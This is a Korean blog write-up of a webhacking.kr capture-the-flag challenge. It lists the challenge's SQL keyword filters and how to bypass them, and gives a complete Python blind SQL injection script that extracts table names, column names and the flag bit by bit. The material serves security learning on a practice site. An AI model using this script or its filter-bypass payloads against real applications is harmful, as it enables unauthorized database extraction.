no 값이 True이면 result 1을 출력하고 False이면 result 0을 출력하는 것 같다.
필터링되는 문자를 입력하면 아래 그림처럼 no hack을 출력한다.
이것저것 입력해 본 결과, 필터링되는 것과 필터링되지 않는 것을 파악할 수 있었다. (SQLi에 주로 쓰이는 것들만 나열)
필터링되는 것 : 공백, 탭, =, <, >, union, where, ||, &&, like, and, group_concat 등
필터링되지 않는 것 : or, select, in 등
문제를 풀기 위해서는 FLAG 값을 찾아야 한다.
따라서 앞서 파악한 정보들을 바탕으로 Blind SQL injection을 시도해야 한다.
FLAG 값을 구하기 위해서는 3단계를 거쳐야 한다.
1. table 명 찾기 2. column 명 찾기 3. FLAG 값 찾기
참고 >> table 명, column 명 찾는 퀴리문
다음은 FLAG 값을 구하기 위한 코드이다.
#-*- encoding: utf-8 -*-
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-10/?no="
headers = { "Cookie" : "세션 값" }
def get_request(payload):
res = requests.get(url=url+payload, headers=headers, verify=False)
# print(payload)
# print(res.text)
if "<td>1</td>" in res.text:
return True
else:
return False
def find_table_length():
tb_length = 1
# payload = "length((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)))in({})".format(tb_length)
while get_request("length((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)))in({})".format(tb_length)) is False:
tb_length += 1
print("table_name length : ", tb_length)
return tb_length
def find_table():
tb_length = find_table_length()
table_name = ""
for i in range(1,tb_length+1):
tmpBit = ""
for j in range(1, 9):
payload = "if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),8,0),{},1)in(1),1,0)".format(i, j)
if get_request(payload) is True:
tmpBit += '1'
else:
tmpBit += '0'
table_name += chr(int(tmpBit,2))
# print("[ ] found word : ", table_name)
print("[+] found table_name : ", table_name) # flag_ab733768
return table_name
def find_column_length():
col_length = 1
table = 'flag_ab733768'
table_name = '0b'+''.join(format(ord(x),'b').zfill(8) for x in table) #문자열 2진수로 변환
# payload = length((select(min(if((select(table_name)in({})),column_name,null)))from(informatin_schema.columns)))in({}).format(table_name,col_length)
while get_request("length((select(min(if((select(table_name)in({})),column_name,null)))from(information_schema.columns)))in({})".format(table_name,col_length)) is False:
col_length += 1
print("column_name length : ", col_length) # 13
return col_length
def find_column():
col_length = find_column_length()
column_name = ""
table = 'flag_ab733768'
table_name = '0b'+''.join(format(ord(x),'b').zfill(8) for x in table) #문자열 2진수로 변환
for i in range(1,col_length+1):
tmpBit = ""
for j in range(1, 9):
payload = "if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in({})),column_name,null)))from(information_schema.columns)),{},1))),8,0),{},1)in(1),1,0)".format(table_name,i, j)
if get_request(payload) is True:
tmpBit += '1'
else:
tmpBit += '0'
column_name += chr(int(tmpBit,2))
# print("[ ] found word : ", column_name)
print("[+] found column_name : ", column_name) # flag_3a55b31d
return column_name
def find_flag_length():
column_name = 'flag_3a55b31d'
table_name = 'flag_ab733768'
flag_len = 1
while get_request('length((select(max({}))from({})))in({})'.format(column_name, table_name, flag_len)) is False:
flag_len += 1
print("FLAG length : ", flag_len) # 27
return flag_len
def find_FLAG():
flag_len = find_flag_length()
column_name = find_column()
table_name = find_table()
FLAG = ''
for i in range(1, flag_len+1):
tmpBit = ""
for j in range(1, 9):
payload = "if(substr(lpad(bin(ord(substr((select(max({}))from({})),{},1))),8,0),{},1)in(1),1,0)".format(column_name,table_name, i, j)
if get_request(payload) is True:
tmpBit += '1'
else:
tmpBit += '0'
FLAG += chr(int(tmpBit,2))
# print("[ ] found word : ", FLAG)
print("[+] found FLAG >>>>>> ", FLAG)
return FLAG
find_FLAG()
-> 필터링 된 문자열 우회 방법
공백 : 괄호 ()
= : in
group_concat : min(), max() 함수
-> 코드 추가 설명
column 명 찾을 때, table 명을 입력해야 하는데 table 명을 문자열 그대로(flag_ab733768) 작성하면 왜인지 비교를 하지 못한다. (계속 result 0 을 출력함)
이를 우회하기 위한 문자열 표현 방법 3가지가 있다.
1. 아스키 값으로 변환 : char()
2. 헥사 코드 값으로 변환 : hex()
3. 이진수 값으로 변환 : 0b~
1,2번 방법은 char()과 hex()를 이용해야 하는데 필터링되어 있다ㅠ
따라서 table명을 이진수 값으로 변환하여 코드를 작성하였다.
max(), min() 함수 설명
max() : 숫자의 경우 가장 큰 수 반환, 문자의 경우 abc 순 / ㄱㄴㄷ 순으로 가장 뒤에 있는 문자 반환
min() : 숫자의 경우 가장 작은 수 반환, 문자의 경우 abc 순 / ㄱㄴㄷ 순으로 가장 앞에 있는 문자 반환
* 코드 실행 결과 *
위 코드를 실행하면, 아래 그림과 같이 FLAG 값을 구할 수 있다!
성공 ~~!!!~!✨
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 9번 (0) | 2022.03.31 |
---|---|
webhacking.kr 29번 (0) | 2020.04.12 |
webhacking.kr 35번 (0) | 2020.04.12 |
webhacking.kr 60번 (0) | 2020.04.11 |
webhacking.kr 53번 (0) | 2020.04.10 |